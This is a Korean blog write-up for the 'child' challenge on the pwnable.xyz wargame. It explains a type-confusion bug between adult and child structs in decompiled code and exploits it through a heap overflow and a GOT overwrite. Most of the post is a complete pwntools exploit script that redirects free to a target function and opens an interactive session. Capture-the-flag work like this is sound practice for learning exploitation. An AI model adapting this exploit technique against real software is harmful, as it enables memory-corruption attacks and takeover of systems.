본문으로 바로가기

pwnable.xyz / child

category Wargame/pwnable.xyz 2020. 5. 6. 02:24

어른과 아동을 나타내는 구조체에는 들어가는 정보는 같은데 순서가 다르다.

 

 

adult와 child의 age와 job 필드 위치가 다르다.

 

    person = town[idx];

    if ( person )
    {
      type = person->adult.type;

      if ( type == CHILD )
      {
        ++person->child.age;
      }
      else if ( type == ADULT )
      {
        ++person->adult.age;
      }
    }

 

age_up의 일부이다. person 객체의 age를 1 증가시킨다.

 

    person = town[idx];

    if ( person )
    {
      type = person->adult.type;

      if ( type == CHILD )
      {
        __printf_chk(1, "Name: ");
        read(0, person->child.name, 0x10uLL);
        __printf_chk(1, "Job: ");
        read(0, person->child.job, 0x20uLL);
        person->child.type = (person->child.age > 17uLL) + 1LL;
      }
      else if ( type == ADULT )
      {
        __printf_chk(1, "Name: ");
        read(0, person->adult.name, 0x10uLL);
        __printf_chk(1, "Job: ");
        read(0, person->adult.job, 0x20uLL);
        person->adult.type = ((unsigned __int64)(person->adult.age - 19) <= 61) + 1LL;
      }
    }

 

transform_person 코드 루틴이다. 만약 나이가 80을 넘으면 이 함수를 실행할 때마다 type이 0과 1로 번갈아가면서 반복된다.

 

adult 객체를 만들어서 age를 80을 넘기고 type이 0이 되면 age_up에서 job 포인터 값을 1씩 증가시킬 수 있다. 적당히 올린 뒤 heap overflow로 뒤에 있는 person 객체의 name이나 job 포인터 값을 수정해 GOT overwrite를 하면 된다.

type이 CHILD인 상태에서 transform을 하면 두 번째 read의 인자에 age 값이 들어가서 입력이 이뤄지지 않기 때문에, 버퍼에 입력값이 남아 있다는 점에 유의해야 한다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
import argparse


def itob(i) :
    return str(i).encode()

def CreateAdult(age:intname:bytesjob:bytes) :
    p.writeafter(b'> 'b'1\x00')
    p.writeafter(b': ', itob(age)+b'\x00')
    p.writeafter(b': ', name)
    p.writeafter(b': ', job)

def AgeUp(idx:int) :
    p.writeafter(b'> 'b'3\x00')
    p.writeafter(b': ', itob(idx)+b'\x00')

def Transform(idx:intname:bytesjob:bytes) :
    p.writeafter(b'> 'b'5\x00')
    p.writeafter(b': ', itob(idx)+b'\x00')
    p.writeafter(b': ', name)
    p.writeafter(b': ', job)

def Delete(idx:int) :
    p.writeafter(b'> 'b'6\x00')
    p.writeafter(b': ', itob(idx)+b'\x00')

def exploit() :
    free_got = 0x602018

    CreateAdult(80b'A'b'A')
    CreateAdult(20b'B'b'B')
    AgeUp(0)
    Transform(0b'A'b'A')

    for i in range(0x18) :
        AgeUp(0)

    payload = b'\x00'*0x10
    payload += p64(0x31)
    payload += p64(free_got)

    Transform(0b'A'b'5\x00')
    p.writeafter(b': 'b'0\x00')
    p.writeafter(b': 'b'A')
    p.writeafter(b': ', payload)
    Transform(1, p64(0x4009B3), b'B')

    Delete(0)

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = connect('svc.pwnable.xyz'30038fam='ipv4')
    else :
        p = process('./challenge')

    exploit()

 

 

 

Last update: 5/6/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / world  (0) 2020.05.11
pwnable.xyz / door  (0) 2020.05.06
pwnable.xyz / Car shop  (0) 2020.05.06
pwnable.xyz / words  (0) 2020.05.05
pwnable.xyz / notebook  (0) 2020.05.03